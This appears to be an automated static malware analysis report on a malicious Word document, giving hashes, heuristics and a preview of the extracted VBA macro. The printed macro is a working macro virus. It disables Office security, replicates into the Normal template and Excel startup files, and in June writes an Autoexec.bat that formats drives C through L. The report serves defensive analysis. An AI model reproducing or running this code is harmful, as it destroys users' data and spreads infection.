Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dfb5c58e3ef1cc33…

MALICIOUS

Office (OOXML)

29.9 KB Created: 2021-04-23 00:11:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-05-29
MD5: 4b3a6547dbebb7a8d2d25e0a78e04c19 SHA-1: a3b197a2eb7df2fdd9884cff269f5e07b25f04b4 SHA-256: dfb5c58e3ef1cc33367c63c8adc3e11df217760cc3b16dbbb45b4351ddbc7905
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious OOXML document containing a Document_Open macro. This macro attempts to disable security warnings and injects VBA code into the Normal template, likely to achieve persistence. The heuristic 'Win.Trojan.Insert-9' further indicates malicious behavior.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5117 bytes
SHA-256: f622908be03bcbf003d4f7701d478b26579a113cc06230583b6e17a1a13e9a42
Detection
ClamAV: Win.Trojan.Insert-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'HAHA!
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.ShowVisualBasicEditor = False
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") <> "" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") = 1&
End If

 For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "Ñ¡Ïî(&O)..." Then
mItem.Enabled = False
End If
If mItem.Caption = "Ä£°åºÍ¼ÓÔØ(&I)..." Then
mItemmItem.Enabled = False
End If
If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
mItem.Enabled = False
End If
If mItem.Caption = "ºê(&M)" Then
mItem.Enabled = False
End If
Next mItem
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, TT.Lines(1, TT.CountOfLines)
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
End If
If NT.Lines(1, 1) <> "'HAHA!" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
Set xlApp = CreateObject("Excel.Application")
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
End If
xlApp.Quit
If Month(Now()) = 6 Then
O = "C:\Autoexec.bat"
Open O For Output As 1
Print #1, "@ echo off"
Print #1, "format c: /autoexec/u"
Print #1, "format d: /autoexec/u/select"
Print #1, "format e: /autoexec/u/select"
Print #1, "format f: /autoexec/u/select"
Print #1, "format g: /autoexec/u/select"
Print #1, "format h: /autoexec/u/select"
Print #1, "format j: /autoexec/u/select"
Print #1, "format l: /autoexec/u/select"
Close
End If
End Sub
Private Sub Document_New()
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, TT.Lines(1, TT.CountOfLines)
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
End If
If NT.Lines(1, 1) <> "'HAHA!" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If

End Sub

Private Sub Workbook_Deactivate()
On Error Resume Next
Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountOfLines)
Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
Book1Obj.Close
xlApp.Quit
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
 If WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Securit
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 7b8e326bf603bb7d89abd550bd2b5ddb5175e12f8d005264820f791a6edfddcb